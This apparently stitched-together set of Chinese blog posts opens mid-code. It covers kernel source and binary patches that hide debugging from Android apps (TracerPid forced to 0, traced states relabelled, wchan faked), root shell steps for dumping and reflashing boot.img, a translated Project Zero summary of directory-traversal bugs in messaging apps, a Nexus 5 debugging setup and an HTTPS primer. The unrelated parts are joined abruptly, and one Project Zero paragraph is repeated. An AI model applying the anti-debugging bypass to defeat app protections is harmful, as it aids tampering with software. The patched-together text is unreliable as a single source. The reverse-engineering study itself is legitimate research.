185 "TracerPid:\t%d\n"
186 "Uid:\t%d\t%d\t%d\t%d\n"
187 "Gid:\t%d\t%d\t%d\t%d\n",
188 get_task_state(p),
189 task_tgid_nr_ns(p, ns),
190 pid_nr_ns(pid, ns),
//修改部分
191 ppid, 0,
//修改结束
192 cred->uid, cred->euid, cred->suid, cred->fsuid,
193 cred->gid, cred->egid, cred->sgid, cred->fsgid);

上面的代码段中的get_task_state()函数引起了我的注意, 这个函数应该是获取state的函数。用鼠标选中该函数之后, 右手边的Relation Window会显示该函数所在的位置, 在该窗口双击之后跳转。

在上图中, 看到了明显用来存放状态的数组task_state_array, 选中该数组之后, 同样的在Relation Window中双击跳转。

将原来状态表中的Tt都修改为S这样就避免了该状态位反映出被监测的状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
R Running
S Sleeping in an interruptible wait
D Waiting in uninterruptible disk sleep
Z Zombie
T Stopped (on a signal) or (before Linux 2.6.33)
trace stopped
t Tracing stop (Linux 2.6.33 onward)
W Paging (only before Linux 2.6.0)
X Dead (from Linux 2.6.0 onward
x Dead (Linux 2.6.33 to 3.13 only)
K Wakekill (Linux 2.6.33 to 3.13 only)
W Waking (Linux 2.6.33 to 3.13 only)
P Parked (Linux 3.9 to 3.13 only)

array.c我们已经修改完毕了, 这时候我们就要修改其他部分了。在导入Project之后, 我们在整个proc文件中搜索关键词trace。先按照下图打开Project Search Bar, 并在其中输入trace

我们会发现搜索的结果都是在base.c文件中(下图出现的第一个包含trace关键词的函数是我已经修改过的)。

在检查完有trace关键词的代码没发现有用的, 就在base.c文件中搜索关键词status

Ctrl+F输入关键词之后没找到, 就通过下图的向下搜索的功能一个个定位, 前面的部分都没找到自己想要找的函数段。

直到找到了关键的部分, 选中函数proc_pid_status, 在右边Relation Window中继续找我们想要的关键函数。

但是很遗憾, 在proc_pid_status函数中跟了很多相关的函数仍然没找到我们想要的。那我们就回到我们最开始的地方。这部分最上面的标识是pid_entry。顺着这个部分往下看, 我们就找到了proc_tid_stat函数, 选中该函数之后我们可以找到do_task_stat函数。

接下来, 我们就好好看看这个函数里面有什么。在右边的Relation Window中关注到一个有state关键词的函数, 双击之后跳转到该函数调用的位置。

定位到上图那一行之后, 分别跟了state关键词和get_task_state函数, 都没有发现什么(base.c是进程运行之前要做的准备工作, 从get_task_state函数可直接回到之前修改的array.c文件。但因为已修改完成, 所以就留在base.c文件中没有继续定位了)。

现在看到这段函数之中大部分都用到了变量task, 所以只好将task作为关键词用笨办法来一个一个定位。最后找到了wchan, 真的眼泪都掉下来。(因为事先知道要改这个部分)

看了Android反调试技术整理与实践这篇文章才知道为什么要修改带有wchan关键词的函数。因为/proc/pid/wchan/proc/pid/task/pid/wchan在调试状态下,里面内容为ptrace_stop, 非调试的状态下为ep_poll。所以也可能会泄露正在被调试的信息, 所以我们直接在Project中查找wchan关键词, 就定位到函数proc_pid_wchan

定位结束之后我们进行如下修改, 到这里我们的修改就彻底结束了。

修改msm/fs/proc/base.c文件

在Ubuntu中编辑文件vim msm/fs/proc/base.c, 定位函数proc_pid_wchan(大概在268行左右)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
267 static int proc_pid_wchan(struct task_struct *task, char *buffer)
268 {
269 unsigned long wchan;
270 char symname[KSYM_NAME_LEN];
271
272 wchan = get_wchan(task);
273
274 if (lookup_symbol_name(wchan, symname) < 0)
275 if (!ptrace_may_access(task, PTRACE_MODE_READ))
276 return 0;
277 else
278 return sprintf(buffer, "%lu", wchan);
279 else
280 return sprintf(buffer, "%s", symname);
281 }

改成下面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int proc_pid_wchan(struct task_struct *task, char *buffer)
{
unsigned long wchan;
char symname[KSYM_NAME_LEN];
wchan = get_wchan(task);
if (lookup_symbol_name(wchan, symname) < 0)
if (!ptrace_may_access(task, PTRACE_MODE_READ))
return 0;
else
return sprintf(buffer, "%lu", wchan);
else
{ // 更改的内容
if(strstr(symname,"trace"))
return sprintf(buffer, "%s", "sys_epoll_wait");
return sprintf(buffer, "%s", symname);
}
}

修改msm/fs/proc/array.c文件

用vim对msm/fs/proc/array.c进行编辑, 先修改第一处

1
2
3
4
5
6
7
8
9
10
11
12
134 static const char * const task_state_array[] 135 = {
136 "R (running)", /* 0 */
137 "S (sleeping)", /* 1 */
138 "D (disk sleep)", /* 2 */
139 "T (stopped)", /* 4 */
140 "t (tracing stop)", /* 8 */
141 "Z (zombie)", /* 16 */
142 "X (dead)", /* 32 */
143 "x (dead)", /* 64 */
144 "K (wakekill)", /* 128 */
145 "W (waking)", /* 256 */
146 };

修改之后的结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
134 static const char * const task_state_array[] 135 = {
136 "R (running)", /* 0 */
137 "S (sleeping)", /* 1 */
138 "D (disk sleep)", /* 2 */
//修改的部分
139 "S (sleeping)", /* 4 */
140 "S (sleeping)", /* 8 */
141 "Z (zombie)", /* 16 */
142 "X (dead)", /* 32 */
143 "x (dead)", /* 64 */
144 "K (wakekill)", /* 128 */
145 "W (waking)", /* 256 */
146 };

修改array.c的第二处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
180 seq_printf(m,
181 "State:\t%s\n"
182 "Tgid:\t%d\n"
183 "Pid:\t%d\n"
184 "PPid:\t%d\n"
185 "TracerPid:\t%d\n"
186 "Uid:\t%d\t%d\t%d\t%d\n"
187 "Gid:\t%d\t%d\t%d\t%d\n",
188 get_task_state(p),
189 task_tgid_nr_ns(p, ns),
190 pid_nr_ns(pid, ns),
191 ppid, tpid,
192 cred->uid, cred->euid, cred->suid, cred->fsuid,
193 cred->gid, cred->egid, cred->sgid, cred->fsgid);

修改的结果为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
180 seq_printf(m,
181 "State:\t%s\n"
182 "Tgid:\t%d\n"
183 "Pid:\t%d\n"
184 "PPid:\t%d\n"
185 "TracerPid:\t%d\n"
186 "Uid:\t%d\t%d\t%d\t%d\n"
187 "Gid:\t%d\t%d\t%d\t%d\n",
188 get_task_state(p),
189 task_tgid_nr_ns(p, ns),
190 pid_nr_ns(pid, ns),
//修改部分
191 ppid, 0,
192 cred->uid, cred->euid, cred->suid, cred->fsuid,
193 cred->gid, cred->egid, cred->sgid, cred->fsgid);

源码的编译运行

在编译运行之前, 我们需要先用echo $PATH确认交叉编译器在PATH中。

按照下面来进行配置

1
2
3
4
5
6
$ export ARCH=arm #指明目标体系架构,arm、x86、arm64
$ export SUBARCH=arm
$ cd msm #进入内核所在目录
$ make hammerhead_defconfig # 设备名_defconfig
#指定使用的交叉编译器的前缀
$ make ARCH=arm CROSS_COMPILE=arm-eabi- -j4 ##如果没有gcc的环境, 就增加了CC=clang

可以从编译内核这篇文章中找到相应的设备名。

在编译的过程中, 遇到了下面的报错。

这时候需要修改kernel/timeconst.pl文件, 用vim kernel/timeconst.pl编辑该文件, 定位到下述代码。

1
2
3
4
5
372 @val = @{$canned_values{$hz}};
373 if (!defined(@val)) {
374 @val = compute_values($hz);
375 }
376 output($hz, @val);

if (!defined(@val))改为if (!@val), 再编译一次就可以了。

接下来, 就按照上图提示进入目录arch/arm/boot

重打包boot.img

为了防止发生不可挽回的刷砖错误, 在刷机之前, 一定要按照尝试绕过TracePid反调试将boot.img进行备份。

准备好bootimg-tools工具

因为我之前Windows环境是准备好了的, 就直接在本地解决下面的任务。

在Ubuntu环境中, 输入下面命令就准备完成了

1
2
3
$ git clone https://github.com/pbatard/bootimg-tools.git
$ make
$ cd mkbootimg

Windows环境下进入[MinGW安装的目录]]\MinGW\msys\1.0目录下, 双击msys.bat

提取出来的boot.img放到mkbootimg文件夹下, 之后的步骤不管是哪个环境下都是相同的。

用unmkbootimg解包

在MinGW输入命令./unmkbootimg -i boot.img, 如果是Ubuntu, 直接去掉前面的./执行命令。

我们获得了rebuild需要输入的指令, 之后要rebuild的时候要修改一下才能用。

1
2
To rebuild this boot image, you can use the command:
mkbootimg --base 0 --pagesize 2048 --kernel_offset 0x00008000 --ramdisk_offset 0x02900000 --second_offset 0x00f00000 --tags_offset 0x02700000 --cmdline 'console=ttyHSL0,115200,n8 androidboot.hardware=hammerhead user_debug=31 maxcpus=2 msm_watchdog_v2.enable=1' --kernel kernel --ramdisk ramdisk.cpio.gz -o boot.img

替换kernel重新打包

刷入bootnew.img

在手机开机的情况下, 进入bootnew.img存放的目录输入下述命令。

1
2
3
$ adb reboot bootloader
$ fastboot flash boot bootnew.img
$ fastboot reboot

测试

现在到了见证奇迹的时刻了

参考文章或其他链接

Ubuntu 安装 JDK 7 / JDK8 的两种方式
在Ubuntu中通过update-alternatives切换java版本
编译Android 9.0内核源码并刷入手机
Android系统内核编译及刷机实战 (修改反调试标志位)
搭建编译环境
How to Build a Custom Android Kernel
Android源码定制添加反反调试机制
Java6+Java7链接 提取码:ma3i

Google Zero团队:Android流行通讯APP中的BUG

原文地址:https://googleprojectzero.blogspot.com/2019/03/android-messaging-few-bugs-short-of.html

前言

大概一年半以前, 我对 Android的通讯和邮件客户端进行了一些测试。当时, 在这些客户端中发现了一些bug, 然而没能把这些bug组合成有效的攻击链, 所以没有将成果发到博客上。不过, 和当初想公布研究成果的想法不同, 我现在决定将研究成果分享出来。毕竟, 了解(客户端的)设计上的抉择会对安全造成什么影响, 也是一件有趣的事情。

实例

在研究过程中, 对Messages (Android默认的短信客户端)、 Android上的Gmail客户端、 微软 Outlook, Facebook Messenger, WhatsApp、 Signal和Telegram这些是Google Play上最流行的通讯和邮件客户端进行了测试。

通讯客户端说明(体系结构、攻击面、测试方法)

从高层次上看, 通讯客户端具有类似的体系结构, 其功能是与服务器进行通讯, 负责定位要与用户通讯的收件人, 通常还要保留通讯过程中的session。消息需要通过服务器, 再由服务器直接发给收件人, 支持端到端加密的客户端可以将消息用某种信封加密技术密封起来。

不同客户端使用的通讯协议是不一样的, 尽管如此, Facebook Messenger、WhatsApp 和 Telegram 还是有相似的地方的, 这些客户端通讯协议都是采用分层方法实现的, 使用该方法发送的消息可以在一个层次结构包含类型不同的字段。 Telegram使用的通讯协议是公开的, 用它发送出的一条消息就同时包含了发送给服务器端和接收者的信息。

一开始,我从Facebook messenger处理未加密信息的方式入手, 没想到, 这个攻击思路颇具挑战性。发送消息的协议(如mobile和 WEB API)有挺多可以用的, 再加上在目标设备接收到消息之前消息还会经过大量处理, 这两点大大提升了找到客户端中可攻击点的难度。因此, 我决定将重点放在加密后的消息上, 因为服务器不能过滤这些邮件。

我没有 Facebook Messenger和 WhatsApp 的源码, 所以我只能用apktool从这些应用的APK文件中提取出smali代码来进行分析。Signal协议的普及简化了找这些应用程序的加密部分的步骤, 因为可以直接在 libsignal 中搜索字符串。之后, 我添加了一个发送消息的函数, 将消息发送到我的服务器上, 该函数还允许在加密之前对消息进行更改的选项, 这样我就可以用格式错误的加密消息来进行测试。

比起上面两个客户端, 测试邮件和SMS客户端会显得稍微容易些。在测试SMS客户端时, 我调用了sendDataMessage API发送原始的SMS 消息。而在测试邮件客户端时, 可以直接使用 SMTP 服务器发送 MIME 邮件。

研究结果提要

有一点需要注意一下, 这些结果已超过一年, 并且通讯app的客户端的代码已有较大改动, 因此现在测试结果可能会有所不同。本文中提及漏洞均已修复。

Messages

Android默认的Messages客户端主要是用 Java写的, 使用 AOSP SMS和MMS来解析消息。因此, Messages几乎不存在内存损坏漏洞。不过Android 会以不同的方式处理一些特殊的 SMS 消息, 解析这些特殊SMS消息有可能会产生漏洞。某些特殊的消息会被被解析为符合可视化语音信箱的OMTP规范的信息, 而处理这些消息的过程以及可视化语音信箱的IMAP功能是 Java 实现的。在过去,Android曾经支持SUPL协议(用于 GPS 星历更新的 SMS 协议)在用户空间中解析, 并且进行解析工作的intent对象是存储在 SMS客户端堆栈中。但是, 现在高通的基带就可以直接处理这些消息, 因此处理过程不会在新的设备上的用户空间中进行。Messages客户端中存在的漏洞的主要是由处理媒体文件的库引发的, 过去大多漏洞都是在这些组件中发现的, 然而与之前相比,最近爆出的这样的漏洞少多了,再加上media是由低特权进程处理的。所以,目前我没有在Messages中发现任何漏洞。

Gmail

Gmail 应用程序可处理由IMAP、POP 或其他服务器发出的 MIME 消息, 这些消息的内容通常直接由非Gmail用户发出, 不过Gmail的邮件服务器还是能过滤掉一些邮件的。Gmail的客户端会调用AOSP 中的实现邮件协议底层API, 这些API和Gmail的客户端都是用Java实现的。在Gmail的客户端中, 我发现了一个由附件上传引发的目录遍历的bug

Outlook

微软 Outlook 客户端的功能和Gmail的差不太多, 同样会处理另一台服务器发送的 MIME消息, 但其所有协议的处理过程都是由客户端中的代码完成的。Outlook主要是用 Java写的, 其中的native的功能和邮件本身没多大关系。和在Gmail中一样,Outlook也存在着相似目录遍历漏洞

Facebook Messenger

与我测试的其他通讯客户端相比, Facebook messenger 的工程量挺大的了, 很多代码很难明确其功能。该应用中包含大量的native库, 几乎每天都要从 Facebook 服务器重新加载数据动态更新。不过, 这些库好像很少直接参与消息的处理。

Facebook Messenger使用一种叫 “消息队列遥测传输 (MQTT)” 的协议与服务器进行通信——MQTT 的底层是开源的Thrift协议。应用中实现该协议的有Java 和 c++ 两种的库, 但好像只用了 Java 的库。我检查了协议相关代码, 没有发现Facebook Messenger的漏洞。

WhatsApp

WhatsApp 使用的分层协议主要是用 Java 实现的,该应用处理语音和视频呼叫请求的消息代码是在native代码中实现的, 我在我写的一篇文章中讨论了相关内容。目前,我没有在 WhatsApp发现任何漏洞。

Telegram

Telegram是开源的, 其 API代码是公开的。其中有相当多的native代码, 但该部分代码主要用于设备到服务器通信, 而不是端对端通信。因此,远程攻击者可用的攻击面几乎都在 Java 中。在Telegram中, 我发现了一个bug, 同样是一个与附件相关的目录遍历漏洞。

Signal

Signal主要由 Java实现, 攻击面相当小。虽然, 它使用的通讯协议有很好的文档记录。但是, 我没有在其中的任何漏洞。

漏洞影响

总的来说, 我在这些客户端中一共发现了三个目录遍历漏洞。这些漏洞惊人地相似, 都与附件名有关,是由附件在下载时允许附件名包含特殊字符造成的。目录遍历问题在 Android 应用中非常常见,造成该漏洞的部分原因应该是 Java API 在文件名方面处理得不够严谨。

不过, 这些漏洞具有局限性。首先, Gmail 和 Outlook 邮件客户端中的bug仅在客户端与非标准电子邮件地址一起使用时才起作用 (即 Gmail 与非 Gmail 帐户一起使用, 或者 Outlook 与非 outlook 电子邮件地址一起使用)。虽然,Gmail 和 Outlook 邮件客户端都经常与非标准电子邮件地址一起使用, 但这些漏洞不会影响每个用户。并且想要利用这些漏洞, 还需要用户进行下载附件的操作。

该漏洞的利用还有一些限制条件。比如, 想要利用这些漏洞不能覆盖存在的文件, 只能往里面写入新文件。因此, 攻击者需要在某个地方放置系统可以处理但不存在的文件。但Android 上的应用程序权限有限, 通常不能在其应用程序目录之外写入。

上面失败之后,又有了一个绝妙的idea进入到我脑子里, 通过利用SQLite 中漏洞实现攻击, 因为Gmail 和 Outlook 都使用 SQLite 数据库来存储数据。SQLite 支持日志记录, 这意味着当 SQLite 数据库发生更改时, 会先写到日志文件里面, 防止在写入过程中系统崩溃或断电时数据库的数据丢失。如果发生系统崩溃或断电的情况, 在下次访问数据库时,就会存在一个保存着更改信息日志文件, 这时SQLite就知道要还原已更改信息。一旦信息还原完成, 日志文件就会被删除。这意味着, 可以通过在同一目录下写入具有特定名称的日志文件来更改SQLite数据库, 也满足此文件在一般情况下不存在的条件。

我尝试过这个方法, 并且更改了数据库, 但只能改变用户在应用中看到的邮件, 不能进行提权或执行非法操作。为了寻找更通用的方法, 我想到了可以从SQLite 解析日志文件或数据库文件的方式下手。

Telegram的漏洞有可能直接利用, 因为恰好有一个默认情况下不存在的配置文件, 如果该配置文件存在的话, Telegram可对处理该配置文件, 并且在处理代码中会引发一个内存损坏漏洞。不过, 我找不到一个可实现该攻击方法的邮件客户端。

上面失败之后,又有了一个绝妙的idea进入到我脑子里, 通过利用SQLite 中漏洞实现攻击, 因为Gmail 和 Outlook 都使用 SQLite 数据库来存储数据。SQLite 支持日志记录, 这意味着当 SQLite 数据库发生更改时, 会先写到日志文件里面, 防止在写入过程中系统崩溃或断电时数据库的数据丢失。如果发生系统崩溃或断电的情况, 在下次访问数据库时,就会存在一个保存着更改信息日志文件, 这时SQLite就知道要还原已更改信息。一旦信息还原完成, 日志文件就会被删除。这意味着, 可以通过在同一目录下写入具有特定名称的日志文件来更改SQLite数据库, 也满足此文件在一般情况下不存在的条件。

我尝试过这个方法, 并且更改了数据库, 但只能改变用户在应用中看到的邮件, 不能进行提权或执行非法操作。为了寻找更通用的方法, 我想到了可以从SQLite 解析日志文件或数据库文件的方式下手。

我用 AFL 对数据库的加载和日志处理进行了Fuzzing测试。我发现四个漏洞, 其中三个我认为是不可利用的, 剩下一个利用的可能性非常小。

我找不到更多的方法来利用目录遍历, 因为不能覆盖 Android 应用程序中的文件, 所以我不认为这些目录遍历漏洞对攻击者来说会特别有价值。

总结

我测试了几个 Android 通讯和邮件客户端,发现了三个目录遍历的漏洞, 但这些漏洞的利用存在一些限制, 现在还不清楚在一般情况下这些漏洞能否被利用。

这些漏洞非常相似, 箭头直指Android中 Java未能正确处理文件路径方面的问题。仅在客户端与非标准电子邮件地址一起使用时, 邮件客户端中的两个漏洞才能被成功利用,尽管这种应用场景非常常见。漏洞的产生可能是邮件客户端的功能测试不足或审查不足造成的。大部分通讯客户端是用 Java 实现的, 这就增加了在应用程序中找到bug的难度, 因为不能利用内存损坏漏洞进行攻击。

这项研究的着重点是未经过中间件处理的邮件和消息, 攻击者可以利用这个bug向接收者发送任意数据, 客户端不会对小心进行过滤且会对数据直接进行处理。虽然这些漏洞利用起来很容易, 但它们只是消息或邮件客户端攻击面中的一部分。在将来,我很可能会投入到通讯客户端的中介服务器的功能的研究中去。

尝试绕过TracerPID反调试

准备工作

Windows下Linux环境准备

安装MinGW

在官网下好MinGW之后, 右键按下图选中要下载的,之后直接在Installation中直接选中Apply change即可。

###
进入安装目录<MinGW安装的地方>\MinGW\bin, 将gcc.exe重命名为cc.exe, 就短暂地这样改就好了,之后用完make工具再改回来。反正我没找到哪里可以改Makefile的内容。不这样修改的话会出现如下报错:

具体原因好像是MinGW的bug, 在Linux环境下一般gcc是等同于cc的, 然而在Windows中却不是这样的, 如果有人找到Makefile的内容可以在哪里改的话, 可以告诉我=v=, 虽然下面并没有可以评论的地方。

注:还有千万别学人家瞎改名, 把mingw-make.exe改成make.exe直接用, 这样也会报错!

准备boot

  1. 提取boot.img
    1
    2
    3
    4
    C:\Users\[your username]>adb shell
    shell@hammerhead:/ $ su
    root@hammerhead:/ # cd /dev/block/platform/msm_sdcc.1/by-name
    root@hammerhead:/dev/block/platform/msm_sdcc.1/by-name # ls -al

输入以上命令即可找到boot的位置。

将boot导出成boot.img。这里一定要注意, 要按照你自己的情况将boot导出, 要修改if=/dev/block/[实际boot文件夹名]

1
dd if=/dev/block/mmcblk0p19 of=/data/local/boot.img

重新开一个命令行页面,或直接exit退出,输入如下指令:
adb root pull /data/local/boot.img boot.img

这里加了一个root是因为之前直接pull的时候说我权限不够。加了root之后发现还是一直失败, 就尝试先将boot.img存到/sdcard/Download下面之后直接用pull指令就成功了。

1
2
3
4
5
root@hammerhead:/sdcard/Download$ su
root@hammerhead:/sdcard/Download# cp /data/local/boot.img /sdcard/Download/boot.img
root@hammerhead:/sdcard/Download# exit
root@hammerhead:/$ exit
C:/Users/[your username]> adb pull /sdcard/Download/boot.img

在哪个目录下pull的,文件就会存在哪个目录下。

  1. 准备好bootimg-tools工具
    git clone https://github.com/pbatard/bootimg-tools.git

下载后打开文件夹到[MinGW安装的目录]]\MinGW\msys\1.0, 双击msys.bat即可进入到一个模拟Linux环境的GUN界面中。进入[bootimg-tools所在文件夹]/bootimg-tools(如果找不到的话可以用everything找找看), 用make指令生成二进制文件。

将boot.img拷到[bootimg-tools所在文件夹]\bootimg-tools\mkbootimg文件夹下, 执行命令./unmkbootimg -i boot.img。(要记录下面输出的一大段字,之后要重新生成boot.img的时候直接复制修改成相应kernel文件名和输出文件名即可)

  1. 提取原始zImage
    复制kernel文件并将其重命名为zImage.gz。用010 Editor工具找到16进制1f 8b 08 00, 删掉查找到的位置的前面的所有数据,使文件变成标准的gzip压缩文件, 保存之后再执行命令gunzip zImage.gz

到这里zImage文件就提取完成了。

修改内核

说明

我这里用的是IDA 7.0

正式开始

用IDA直接打开zImage文件, 并做如下改动

点击OK之后, 继续按照下面修改。

定位函数位置

打开命令提示符, 输入如下指令关闭符号屏蔽, 并查看函数地址, 因为在IDA中查看二进制文件不好直接用函数名进行定位。

1
2
3
4
5
C:\Users\[your username]>adb shell
shell@hammerhead:/ $ su
root@hammerhead:/ # echo 0 > /proc/sys/kernel/kptr_restrict /*关闭符号屏蔽*/
root@hammerhead:/ # cat /proc/kallsyms |grep proc_pid_status
root@hammerhead:/proc # cat /proc/kallsyms |grep __task_pid_nr_ns

函数地址如下:

在IDA中按下快捷键G跳转到c01b0884(__task_pid_nr_ns函数)

之后点击函数名c01b0884(__task_pid_nr_ns函数), 按下快捷键X, 会弹出交叉引用, 在其中查找我们上面找的第二个函数c02ba04c( proc_pid_status)的位置。

好的, 上面选中的并不是我想找的函数TAT。这个时候, 就在IDA界面中按下Shift+F12, 在字符串界面查找TracerPid。找到之后双击查询后的结果。

IDA在解析的时候没有解析好这个文件, 出现了下面的情况。

这时候选中S的位置即0x53按下A, 即可正常解析。如果解析出来还不是下面这种格式,可以鼠标左键选中该字符串的所有内容再按一次A

如果字符串都解析出来之后, 还是识别不出来c02ba04c( proc_pid_status)函数的话, 直接G跳转到c02ba04c, 并按下C, 但是识别的函数也不是正确的。所以这里采用第三篇参考文章的方法, 直接修改TracePid字符串。

修改TracePid字符串

(1) 选中TracePid中的%d

(2) 将TracePid中的%d改为0\t, 选中%d后按下Alt+4

上图中第四行第一个%d就是我们要修改的(TracerPid后的字符串), 十六进制为25 64。点击25前面按下F2, 输入30 09, 再按下F2就修改成功了。

最后保存修改的内容, 按下图点开之后直接点OK即可。

修改kernel文件

在MinGW命令行界面输入命令gzip -n -f -9 zImage, 压缩修改好的文件zImage生成zImage.gz。用010 Editor打开文件kernel, 并在kernel中查找1F 8B 08 00。(下图是覆盖完成的样子)

选中1F 8B 08 00位置之后,点开Edit->Insert/Overwrite->Overwrite File..., 选择zImage.gz文件即可, 这样就不用自己计算文件大小并且直接覆盖了, 完成之后点击保存为新的文件boot-new.img

使用执行unmkbootimg生成的命令, 修改-o参数名(要输出的文件名), 直接拷贝到MinGW命令行中直接执行。

1
2
3
$ mkbootimg --base 0 --pagesize 2048 --kernel_offset 0x00008000 --ramdisk_offset 0x02900000 --second_offset 0x00f00=
000 --tags_offset 0x02700000 --cmdline 'console=ttyHSL0,115200,n8 androidboot.hardware=hammerhead user_debug=31 max
cpus=2 msm_watchdog_v2.enable=1' --kernel kernel --ramdisk ramdisk.cpio.gz -o boot-new.img

  1. 刷机
    我这里用的是Nexus 5, 直接在关机状态下按音量键-开机键(或输入命令adb reboot bootloader)即可进入fastboot状态。在命令行中输入fastboot flash boot boot-new.img, 之后再输入fastboot reboot即可。

刷完倒是能正常开机了, 但是我手机又要重新root了…..(这个时候有尝试过用SuperSU刷成砖, 还是用magisk+twrp比较好)

参考材料\文章

逆向修改内核,绕过TracerPID反调试
make: cc: Command not found
Android逆向之旅—应用的”反调试”方案解析(附加修改IDA调试端口和修改内核信息)

用Android Studio调试Nexus 5

环境说明

Android 4.4
Windows 10

Nexus 5 准备

  1. 找到版本号, 并在版本号所在位置点击7次, 打开开发者选项。版本号位置:设置(Setting)->关于手机(About phone)->版本号(Build number)

  2. 打开开发者选项(Developer options),勾选USB debugging。

  3. 在命令行中输入adb devices,有个前提就是需要将android_sdk/platform-tools/设为全局变量,或者进入到该文件夹中才能使用adb。

  4. 在网上搜Kingo root, 将Nexus 5 与电脑连接, 将手机root, 提示用Kingo root的时候需要科学上网,不然就不能更新库文件啥的。(其实这一步要不是因为之后怕IDA调试的时候要用到, 不然这一步是可以直接省去的)不过在找root工具的时候,发现root工具好像是利用android系统的漏洞实现提权的,以后有时间好好了解一下。

    Android Studio 准备

  5. 点开Edit Configurations…

  6. 将Target选项改选为USB Device,据说,在windows上需要下载USB drive,不知道是最新版的改了还是我之前就下载了,很奇妙地能直接使用。

  7. 在Android Studio中查看是否已经连接上真机。

  8. 然后点击下图红框框中的按钮, 就可以直接将apk安装到真机上并且直接运行了, 快乐。

HTTP系列(五):安全

如果, 你伴随HTTP系列一路成长, 那么现在的你, 已经可以乘船开启(学习)HTTP安全之旅。我保证,你会很享受这个学习过程。🙂

许多公司都是安全漏洞的受害者, 一些知名的公司, 比如Dropbox(支持文件同步、备份、共享云存储的软件)、Linkedin(领英, 全球最大职业社交网站)、MySpace(社交网站)、Adobe、索尼和福布斯等许多公司遭受过恶意攻击。除此之外, 许多用户也被(恶意攻击公司的事件)危及过, 你, 很可能曾是受害者之一。🙂

你可以在Have I Been Pwned查询你是否是受害者之一。

我的电子邮件地址出现在4个不同的存在安全漏洞的网站上。

Web应用安全涉及面广, 因此, 只有一篇文章难以涵盖所有的知识。不过, 本文可作为(Web应用安全的)启蒙。首先, 让我们来了解一下, HTTP协议如何安全地通信。

本文是HTTP系列的第五部分。

文章概要:

文章涵盖了大量的内容, 不管怎样, 我们从头学起吧!

你真的需要HTTPS吗?

你可能认为, 不是所有的网站都需要安全防护的。如果一个网站不提供敏感信息, 也不能以任何形式上传数据, 仅仅是为了在URL栏上可以显示绿色的标志(网站安全的标志), 就去购买证书和降低访问网站的速度, 这看起来像是想要杀猪却用了宰牛刀。

如果有一个属于你的网站, 你就会知道加载速度——越快越好——对网站来说是至关重要的, 因此, 你不会想给你的网站增加负担。

从HTTP迁移到HTTPS是一个痛苦的过程, 何必为了维护原本就不用被保护的网站遭受这样的痛苦呢?你要考虑的第一件事, 就是出钱买网站的安全——因为购买证书对于一般的小公司或个人来说是一笔很大的费用。

注: 听说已经有机构开始颁发免费证书, 详情可以从十大免费SSL证书:网站免费添加HTTPS加密 中了解

现在就让我们一起来看看, (为安全)惹上这个麻烦到底值不值得。

HTTPS给报文加密并防止中间人攻击

在之前的HTTP系列文章中, 我们谈论了不同的HTTP认证机制及其安全缺陷。然而, 不管是basic认证还是digest认证, 都不能阻止中间人攻击。中间人攻击——中间人, 就是恶意介入用户与网站通信的一批人——的目的是拦截双方通信的原始报文(如果有需要, 还可以修改报文), 通过转发拦截的报文, (这个攻击行为)就能不被发现。

原本参与通信的人可能不能察觉到他们的通信正在被监听。

HTTPS通过加密通信(报文)防止中间人攻击, 但是这并不意味着(双方的)通信不会再被监听, 它仅仅阻止了那些查看和拦截(双方通信)报文的人看报文内容罢了。如果中间人想要将报文解密, 那么他必须要有解密的密钥。之后, 你就会知道, 这个密钥是如何起作用的。

让我们继续往下走。

HTTPS——影响搜索排名的因素

不久之前(2014年), Google让HTTPS成为一个影响(搜索算法)排名的因素

这意味着什么呢?

这意味着, 如果你是一个关心Google搜索排名的网络管理员, 你的网站一定要用HTTPS协议。尽管HTTPS没有内容质量、反向链接这些因素影响力大, 但它还是很重要的。

Google通过这项举措鼓励网站管理员尽快(从HTTP)过渡到HTTPS, 从而提高互联网整体的安全性。

(证书)完全免费

要架设HTTPS网站, 就需要一个证书来解决证书认证的问题。从前, 证书费用高昂, 并且年年需要更新。

如今, 感谢Let’s encrypt的小伙伴们, 让我们付得起买证书的钱(只要0元!)。那些证书是真的完全免费的!

Let’s encrypt的证书安装起来很简单, 这离不开其背后大公司的支持和超棒的社区人员(的努力)。看看Let’s encrypt的赞助商和支持(Let’s encrypt)的公司的名单, 其中可能有你认识的公司。

Let’s encrypt只提供域名认证(DV)证书, 不提供组织认证(OV)证书和扩展验证(EV)证书。DV证书只能用90天, 不过更新起来很容易。

和其他(好的)技术相同, Let’s encrypt证书也有不好的一面。正因为现在证书获取起来很容易, 钓鱼网站也开始利用起这些证书了

关于(传输)速度

一提到HTTPS, 许多人就会认为它给速度带来了了额外的开销。简单地用httpvshttps.com来测试一下。

下面是测试结果:

所以这里发生了什么?为什么HTTPS比HTTP快那么多?这怎么可能!

HTTPS是使用HTTP 2.0协议的必要条件。

如果我们查看网络选项卡, 我们可以看到在使用HTTPS时,图像是通过HTTP 2.0协议加载的, 除此之外, 流量看起来也很不一样。

HTTP 2.0是继HTTP/1.1之后成功的HTTP协议。

在HTTP/1.1的基础之上, HTTP 2.0增加了许多优点:

  • 用二进制(传输)取代文本(传输)
  • 可通过单个TCP连接并行发送多个请求
  • 采用HPACK压缩报文首部减少(流量)开销
  • 使用新的应用层协议协商(Application-Layer Protocol Negotiation,简称ALPN)扩展更快地加密通信。
  • 可降低RTT(round trip times, 往返时延), 让网站加载的速度更快。
  • 还有许多其他的优点

不使用HTTPS?浏览器表示拒绝。

如果你现在还不相信——使用HTTPS是必要的——那么你应该知道, 现在一些浏览器已经开始举起的大旗, 反对(传输)那些未经加密内容。在16年9月份的时候, Google发布博文明确地说明了Chrome浏览器会怎么对待那些不安全的网站。

现在, 让我们来看一下Chrome 56的前后变化吧!

下面是最终的效果。

你现在相信了吧!😀

迁移到HTTPS的过程很复杂

(迁移过程复杂)这是过去遗留下来的问题。因为历史悠久的网站之前用HTTP协议上传了大量的资源, 这让迁移至HTTPS对这些网站来说就更加困难了, 不过托管的平台通常都会让这个过程变得简单一点。

大部分托管平台都提供了自动往HTTPS迁移的方法, 点击选项栏的一个按钮就可以轻松迁移。

如果你打算搭建一个基于HTTPS的网站, 你需要先去确认一下, 托管平台是否有提供往HTTPS迁移的方法。或者, 有一个脚本, 可以通过Let’s encrypt和设置服务器配置让你自己解决迁移的问题。

以上, 都是要迁移到HTTPS的原因。有什么理由不去做呢?

